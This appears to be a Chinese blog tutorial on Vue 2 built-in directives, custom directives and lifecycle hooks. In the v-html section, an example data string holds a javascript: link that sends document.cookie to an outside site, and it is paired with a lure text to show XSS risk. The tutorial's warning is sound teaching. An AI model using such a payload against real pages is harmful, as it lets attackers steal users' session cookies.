目录
- vue中的内置指令
 - v-text
 - v-html
 - v-cloak
 - v-once
 - v-pre
 - 汇总
 
- 自定义指令
 - 全局指令与局部指令
 - 使用示例
 
- 生命周期
 - 问题引入
 - 生命周期函数简介
 - 钩子函数图示过程
 - 生命周期函数示例
 
本博客参考尚硅谷官方课程,详细请参考
- 【尚硅谷bilibili官方】
 
本博客以vue2作为学习目标(请勿混淆v2与v3的代码规范,否则可能出现报错),详细教程请参考
- 【 v2.x 官方文档】
 
vue中的内置指令
v-text
- 作用:向其所在的节点中渲染文本内容。
 - 注意:与插值语法不同,v-text会替换掉节点中的内容,插值语法{{xx}}则不会。
 
<div id="root">
	<div>你好,{{name}}</div>
	<div v-text="name">1213</div>
	<div v-text="str"></div>
</div>
 
new Vue({
	el:'#root',
	data:{
		name:'尚硅谷',
		str:'<h3>你好啊!</h3>'
	}
})
 
我们打开浏览器的开发者工具查看源码,如图
 
v-html
- 作用:向指定节点中渲染包含html结构的内容。v-html可以识别html结构。
 - 安全问题:
 
(1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2)一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<div id="root">
	<div>你好,{{name}}</div>
	<div v-html="str"></div>
	<div v-html="str2"></div>
</div>
 
new Vue({
	el:'#root',
	data:{
		name:'尚硅谷',
		str:'<h3>你好啊!</h3>',
		str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
	}
})
 
我们打开浏览器的开发者工具查看源码,如图
 
v-cloak
- 注意:
 
(1)本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
(2)通常使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<div id="root">
	<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
 
new Vue({
	el:'#root',
	data:{
		name:'尚硅谷'
	}
})
 
v-once
- 注意:
 
(1) v-once所在节点在初次动态渲染后,就视为静态内容了。
(2) 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="root">
	<h2 v-once>初始化的n值是:{{n}}</h2>
	<h2>当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>
 
new Vue({
	el:'#root',
	data:{
		n:1
	}
})
 
浏览器运行结果
 
v-pre
- 作用:
 
(1)跳过其所在节点的编译过程。
(2)可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<div id="root">
	<h2 v-pre>Vue其实很简单</h2>
	<h2 >当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>
 
new Vue({
	el:'#root',
	data:{
		n:1
	}
})
 

汇总
| 指令语法 | 描述 | 简写 | 
|---|---|---|
| v-bind | 单向绑定解析表达式, | :class=“” | 
| v-model | 双向数据绑定 | v-model=“” | 
| v-for | 遍历数组/对象/字符串 | |
| v-on | 绑定事件监听, | @click=“” | 
| v-if | 条件渲染(动态控制节点是否存存在) | |
| v-else | 条件渲染(动态控制节点是否存存在) | |
| v-show | 条件渲染 (动态控制节点是否展示) | 
自定义指令
全局指令与局部指令
- directives配置对象的回调函数
 
(1) bind:指令与元素成功绑定时调用。
(2) inserted:指令所在元素被插入页面时调用。
(3) update:指令所在模板结构被重新解析时调用。
//定义全局指令
Vue.directive(指令名,配置对象) 或   
Vue.directive(指令名,回调函数)
//定义局部指令
new Vue({
	directives:{
	指令名:配置对象;
})或
new Vue({
	directives:{
	指令名:回调函数;
})
 
使用示例
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
new Vue({
	el:'#root',
	data:{
		name:'尚硅谷',
		n:1
	},
	directives:{
		big(element,binding){
			console.log('big',this) //注意此处的this是window
			// console.log('big')
			element.innerText = binding.value * 10
		}
	}
})
 
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
<script type="text/javascript">
	Vue.config.productionTip = false
	//定义全局指令
	Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	})
</script>
 
//定义局部指令
new Vue({
	el:'#root',
	data:{
		name:'尚硅谷',
		n:1
	},
	directives:{
		fbind:{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}
	}
})
 
<!--html代码-->
<div id="root">
	<h2>{{name}}</h2>
	<h2>当前的n值是:<span v-text="n"></span> </h2>
	<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
	<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
	<button @click="n++">点我n+1</button>
	<hr/>
	<input type="text" v-fbind:value="n">
</div>
 
浏览器运行结果
 
- 注意
 
(1) 指令定义时不加v-,但使用时要加v-;
(2) 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase(驼峰式)命名。
生命周期
问题引入
我们在methods中定义了一个函数,除了我们在html中主动调用外,还有没有别的时机可以被动调用该函数?
生命周期函数简介
生命周期函数是Vue在关键时刻帮我们调用的一些特殊名称的函数,其名字不可更改,但函数的具体内容可以根据需求编写。生命周期函数中的this指向是vm 或 组件实例对象。
钩子函数图示过程

生命周期函数示例
<!--html代码-->
<div id="root"></div>
 
效果
 
<!--js代码-->
<script>
  new Vue({
    el: "#root",
    template: `
    	<div>
    		<h2>当前的n值是:{{n}}</h2>
    		<button @click="add">点我n+1</button>
    	</div>
    `,
    data: {
      n: 1,
    },
    methods: {
      add() {
        console.log("add");
        this.n++;
      },
      bye() {
        console.log("bye");
        this.$destroy();
      },
    },
    watch: {
      n() {
        console.log("n变了");
      },
    },
    beforeCreate() {
      console.log("beforeCreate");
    },
    created() {
      console.log("created");
    },
    beforeMount() {
      console.log("beforeMount");
    },
    mounted() {
      console.log("mounted");
    },
    beforeUpdate() {
      console.log("beforeUpdate");
    },
    updated() {
      console.log("updated");
    },
    beforeDestroy() {
      console.log("beforeDestroy");
    },
    destroyed() {
      console.log("destroyed");
    },
  });
</script>
 
效果
 



















